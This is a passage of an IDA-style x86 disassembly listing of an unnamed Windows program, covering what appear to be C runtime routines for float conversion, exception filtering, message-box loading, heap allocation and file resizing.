loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------

loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx

loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2

loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------

loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx

loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------

loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h

loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------

loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------

loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx

loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax

loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------

loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D808
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D820
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------

loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx

loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]

loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8

loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------

loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]

loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------

loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h

loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFC8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFF0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFCA
		mov	dword_4DBFE8, eax
		pop	edi
		movsx	eax, word_4DBFC8
		mov	dword_4DBFEC, eax
		mov	dword_4DBFF4, offset dword_4DBFCC
		mov	eax, offset dword_4DBFE8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------

loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------

loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------

loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D448o
					; ___:0043DB88o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------

loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFF8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFF8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------

loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax

loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
dword_424F64	dd 0E800424Fh, 21DB486h, 0BFF8A390h, 0FFC3004Dh, 4DBFF835h
					; DATA XREF: ___:0042903Co
		dd 73E89000h, 0C3021DB4h

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi

loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 26606B6h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi

loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25F0B8Eh
		nop
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi

loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC

loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD281[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE92[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------

loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax

loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------

loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFFC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0CBCh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFFC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DC000, eax
		call	esi
		mov	dword_4DC004, eax

loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DC000
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DC004
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax

loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFFC

loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi

loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD3A0
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------

loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE84
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C

loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD3A4
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156

loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE58, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------

loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]

loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch

loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi

loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------

loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3

loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD040, esi
		jle	short loc_4251B6

loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi

loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC02C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC02C
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_425172

loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD160
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70

loc_425240:				; DATA XREF: ___:00438CC8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi

loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------

loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDF0, 5
		jnz	short loc_42528D
		mov	dword_4DBDEC, 0Dh

loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh

loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------

loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDEC, 0Dh
		call	near ptr 269096Bh
		nop
		mov	dword_4DBDF0, eax

loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------

loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDEC, 9

loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh

loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A

loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax

loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]

loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]

loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
